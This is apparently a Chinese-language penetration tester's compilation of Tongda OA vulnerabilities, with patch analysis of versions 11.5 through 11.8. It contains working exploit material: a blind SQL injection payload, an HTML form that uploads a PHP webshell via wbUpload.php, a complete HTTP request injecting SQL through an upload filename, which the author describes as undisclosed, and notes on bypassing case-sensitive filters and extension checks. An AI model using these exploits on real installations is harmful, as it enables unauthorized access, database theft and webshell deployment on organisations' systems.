通达oa漏洞整理

已公开

时间线

记录:2020年起爆出的漏洞

资源提取码

qius

盲注统一payload

RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))

或者get_lock时间盲注也可以

or if(1=1,1,get_lock(123,2) )


任意文件上传-2013/2015版本

影响版本

  • 2013
  • 2015

漏洞文件

  • general/vmeet/wbUpload.php

exp

1
2
3
4
5
<form enctype="multipart/form-data" action="http://x.x.x/general/vmeet/wbUpload.php
?fileName=test.php+" method="post">
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
</form>

shell地址为

  • http://x.x.x/general/vmeet/wbUpload/test.php

任意管理登录/文件上传/任意文件包含

2020-03

UID登录

影响版本

  • 通达OA 2017版
  • 通达OA V11.X<V11.5

漏洞复现

漏洞分析

文件上传&文件包含

漏洞复现

包含地址区别

  • 2013:/ispirit/interface/gateway.php
  • 2017: /mac/gateway.php
  • v11.x: /ispirit/interface/gateway.php

11.5版未授权sql注入

2020-09

未授权sql注入

影响版本

  • 2017 :未测试
  • v11.0-11.5

漏洞复现

漏洞利用

  • 注入处在线的用户,使用session直接登录,进一步渗透

11.7后台注入/getshell

影响版本

  • <=11.7

漏洞复现

delete_cascade.php和delete_result.php均存在

11.8中貌似也可以构造

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
require_once "inc/auth.inc.php";
include_once "inc/utility_file.php";
include_once "inc/utility_field.php";
ob_start();
$condition_cascade = $_GET["condition_cascade"];
$condition_cascade = td_authcode($condition_cascade, "DECODE");
$condition_cascade = ((strpos($condition_cascade, "user()") !== false) || (strpos($condition_cascade, "substr") !== false) || (strpos($condition_cascade, "if") !== false) || (strpos($condition_cascade, "grant") !== false) || (strpos($condition_cascade, "Password") !== false) || (strpos($condition_cascade, "general") !== false) ? "" : $condition_cascade);
include_once "inc/header.inc.php";
echo "\r\n<body class=\"bodycolor\">\r\n";

if ($condition_cascade != "") {
$query = str_replace("\'", "'", $condition_cascade);
$cursor = exequery(TD::conn(), $query);

经过测试strpos函数区分大小写,可被绕过

td_authcode函数的解码,可以把注入语句通过语句先编码

后续如果用到,在跟进

类似文件 batch_exec_query.php,一会跟

inc/attach.php.文件操作

ugo.php

变量覆盖&编码注入

影响版本

  • <=11.7

漏洞复现

下载的11.8好像把变量覆盖修复了,11.7应该还存在,也可能是我解码解的不太对

任意文件删除/getshell

影响版本

  • <11.5&11.6
  • 小于11.5是文件删除,11.6版本是未授权上传

漏洞复现

SSRF+Redis getshell

影响版本

  • <=11.7
  • 11.8未测试

漏洞复现

11.7 文件上传+文件包含

影响版本

  • <=11.7

漏洞复现

11.8 文件上传

影响版本

  • <= 11.8

漏洞复现

11.9前台RCE

  • 暂未公开

未公开

之前哪个未授权,再2017版并不好用

未授权SQL注入

影响版本

  • 2017 & <=11.5
  • 其他版本未测试

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (strstr($FILE_NAME, '/') || strstr($FILE_NAME, '\\')) {
handleerror(_('文件名无效'));
}
if (!is_uploadable($FILE_NAME)) {
handleerror(_('禁止上传该类文件'));
}
if (file_exists($_FILES['Filedata']['tmp_name'])) {
$ATTACH_NAME = $FILE_NAME;
$SUBJECT = substr($FILE_NAME, 0, strrpos($FILE_NAME, '.'));
$sql = 'SELECT * from file_content where SUBJECT=\'' . $SUBJECT . '\' and SORT_ID=\'' . $SORT_ID . '\' ';
$cursor = exequery(TD::conn(), $sql);
if ($ROW = mysql_fetch_array($cursor)) {
$time = time();
$SUBJECT = $SUBJECT . $time;
}

文件名存在注入

限制是不能存在(.)

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /general/file_folder/swfupload.php HTTP/1.1
Host: xxx:9001
Content-Length: 190
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Origin: http://xxx:9001
Content-Type: multipart/form-data; boundary=----------GFioQpMK0vv2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx:9001/general/file_folder/swfupload_new.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7
Cookie: PHPSESSID=1eapjgv5pmomsgvo1a0s7s4p73; KEY_RANDOMDATA=11239
Connection: close

------------GFioQpMK0vv2
Content-Disposition: form-data; name="Filedata";filename="1' RLIKE (SELECT (CASE WHEN (2=1) THEN 1 ELSE 0x28 END)) or '1 .txt"

aaaaa
------------GFioQpMK0vv2--

报错截图

1608170571143

成功截图

1608170646305

文件名不受通达的GPC限制

其他

全局变量覆盖的修复

推荐在线解密common.inc.php

11.5版本

只是过滤了$_SERVER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value) {
if (!is_array($s_value)) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
if (0 < count($_POST)) {
$arr_html_fields = array();
foreach ($_POST as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER') {
continue;
}
if (substr($s_key, 0, 15) != 'TD_HTML_EDITOR_') {
if (!is_array($s_value)) {
$_POST[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_POST[$s_key];
} else {
if ($s_key == 'TD_HTML_EDITOR_FORM_HTML_DATA' || $s_key == 'TD_HTML_EDITOR_PRCS_IN' || $s_key == 'TD_HTML_EDITOR_PRCS_OUT' || $s_key == 'TD_HTML_EDITOR_QTPL_PRCS_SET' || isset($_POST['ACTION_TYPE']) && ($_POST['ACTION_TYPE'] == 'approve_center' || $_POST['ACTION_TYPE'] == 'workflow' || $_POST['ACTION_TYPE'] == 'sms' || $_POST['ACTION_TYPE'] == 'wiki') && ($s_key == 'CONTENT' || $s_key == 'TD_HTML_EDITOR_CONTENT' || $s_key == 'TD_HTML_EDITOR_TPT_CONTENT')) {
unset($_POST[$s_key]);
$s_key = $s_key == 'CONTENT' ? $s_key : substr($s_key, 15);
${$s_key} = addslashes($s_value);
$arr_html_fields[$s_key] = ${$s_key};
} else {
$encoding = mb_detect_encoding($s_value, 'GBK,UTF-8');
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
${$s_key} = addslashes(rich_text_clean($s_value, $encoding));
$arr_html_fields[$s_key] = ${$s_key};
}
}
}
reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER') {
continue;
}
if (!is_array($s_value)) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_GET[$s_key];
}
reset($_GET);
}
unset($s_key);
unset($s_value);

11.8版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER' || substr($s_key, 0, 8) == '_SESSION' || substr($s_key, 0, 7) == '_COOKIE' || substr($s_key, 0, 4) == '_GET' || substr($s_key, 0, 5) == '_POST') {
continue;
}
if (!is_array($s_value)) {
$_COOKIE[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_COOKIE[$s_key];
}
reset($_COOKIE);
}
if (0 < count($_POST)) {
$arr_html_fields = array();
foreach ($_POST as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER' || substr($s_key, 0, 8) == '_SESSION' || substr($s_key, 0, 7) == '_COOKIE' || substr($s_key, 0, 4) == '_GET' || substr($s_key, 0, 5) == '_POST') {
continue;
}
if (substr($s_key, 0, 15) != 'TD_HTML_EDITOR_') {
if (!is_array($s_value)) {
$_POST[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_POST[$s_key];
} else {
if ($s_key == 'TD_HTML_EDITOR_FORM_HTML_DATA' || $s_key == 'TD_HTML_EDITOR_PRCS_IN' || $s_key == 'TD_HTML_EDITOR_PRCS_OUT' || $s_key == 'TD_HTML_EDITOR_QTPL_PRCS_SET' || isset($_POST['ACTION_TYPE']) && ($_POST['ACTION_TYPE'] == 'approve_center' || $_POST['ACTION_TYPE'] == 'workflow' || $_POST['ACTION_TYPE'] == 'sms' || $_POST['ACTION_TYPE'] == 'wiki') && ($s_key == 'CONTENT' || $s_key == 'TD_HTML_EDITOR_CONTENT' || $s_key == 'TD_HTML_EDITOR_TPT_CONTENT')) {
unset($_POST[$s_key]);
$s_key = $s_key == 'CONTENT' ? $s_key : substr($s_key, 15);
${$s_key} = addslashes($s_value);
$arr_html_fields[$s_key] = ${$s_key};
} else {
$encoding = mb_detect_encoding($s_value, 'GBK,UTF-8');
unset($_POST[$s_key]);
$s_key = substr($s_key, 15);
${$s_key} = addslashes(rich_text_clean($s_value, $encoding));
$arr_html_fields[$s_key] = ${$s_key};
}
}
}
reset($_POST);
$_POST = array_merge($_POST, $arr_html_fields);
}
if (0 < count($_GET)) {
foreach ($_GET as $s_key => $s_value) {
if (substr($s_key, 0, 7) == '_SERVER' || substr($s_key, 0, 8) == '_SESSION' || substr($s_key, 0, 7) == '_COOKIE' || substr($s_key, 0, 4) == '_GET' || substr($s_key, 0, 5) == '_POST') {
continue;
}
if (!is_array($s_value)) {
$_GET[$s_key] = addslashes(strip_tags($s_value));
}
${$s_key} = $_GET[$s_key];
}
reset($_GET);
}
unset($s_key);
unset($s_value);

事实上依然存在$_REQUEST的覆盖问题,并且产生一些注入,只不过未发现未授权的,需要登陆的,其实漏洞存在好多,但是基于没办法堆叠,密码又解不开,所以没什么必要

1608174216359

通达oa的上传流程

核心方法is_uploadable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function is_uploadable($FILE_NAME, $checkpath, $func_name)
{
$EXT_NAME = "";
$POS = strrpos($FILE_NAME, ".");

if ($POS === false) {
$EXT_NAME = $FILE_NAME;
}
else {
$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
$EXT_NAME = filename_valid($EXT_NAME);
if ((td_trim($EXT_NAME) == "") || (td_trim(strtolower(substr($EXT_NAME, 0, 3))) == "php")) {
return false;
}
}

if ($checkpath && !td_path_valid($FILE_NAME, $func_name)) {
return false;
}

if (find_id(MYOA_UPLOAD_FORBIDDEN_TYPE, $EXT_NAME)) {
return false;
}

if (MYOA_UPLOAD_LIMIT == 0) {
return true;
}
else if (MYOA_UPLOAD_LIMIT == 1) {
return !find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
}
else if (MYOA_UPLOAD_LIMIT == 2) {
return find_id(MYOA_UPLOAD_LIMIT_TYPE, $EXT_NAME);
}
else {
return false;
}
}

共调用三个自写方法filename_valid、td_path_valid、find_id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
function filename_valid($filename)
{
return str_replace(array("/", "\\", "'", "\"", ":", "*", "?", "<", ">", "|"), "", $filename);
}
...
...
function td_path_valid($source, $func_name)
{
$source_arr = pathinfo($source);
$source = realpath($source_arr["dirname"]);
$basename = strtolower($source_arr["basename"]);

if ($source === false) {
return false;
}

if ($func_name == "td_fopen") {
$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {
return true;
}
}

if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
return false;
}
else {
return true;
}
}
...
...
function find_id($STRING, $ID)
{
$STRING = ltrim($STRING, ",");
if (($ID == "") || ($ID == ",") || is_array($ID)) {
return false;
}

if (substr($STRING, -1) != ",") {
$STRING .= ",";
}

if (0 < strpos($STRING, "," . $ID . ",")) {
return true;
}

if (strpos($STRING, $ID . ",") === 0) {
return true;
}

if (!strstr($ID, ",") && ($STRING == $ID)) {
return true;
}

return false;
}

对比了下之前版本的filename_valid、td_path_valid都是新加上去的

这种不存在直接上传getshell了

限制了目录attachment,这个目录nginx配置了不让访问

但是整体上类似如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
require_once "inc/auth.inc.php";
include_once "inc/PHPExcel/PHPExcel.php";
include_once "inc/utility_all.php";
include_once "general/reportshop/utils/utils.func.php";
include_once "inc/TSecurity/TSecurity.inc.php";
$d_time = GetCurCalender();
$s_dir = MYOA_ATTACH_PATH . "reportshop/attachment/";

if (!is_dir($s_dir)) {
mkdir($s_dir);
}

$s_dir .= time() . "/";

if (!is_dir($s_dir)) {
mkdir($s_dir);
}

$file_name = $_FILES["s_f"]["name"];

if ($file_name != "") {
CopyFile($_FILES["s_f"]["tmp_name"], $s_dir . $file_name);
}

文件名完全可控的时候

鉴于通达的权限,可操作的地方依然很多

毕竟通达存在td_rename、td_copy、td_move_upload_file、td_file_put_contents,

看了下11.8之前的文件上传,都是可以通过.php.:之类的来绕过的

end

先这些吧

总之11.8其实修复还是蛮大的

  • 解决了多年来的上传问题,让获取shell更加困难
  • 解决了祖传的变量覆盖问题,让许多注入点化做泡影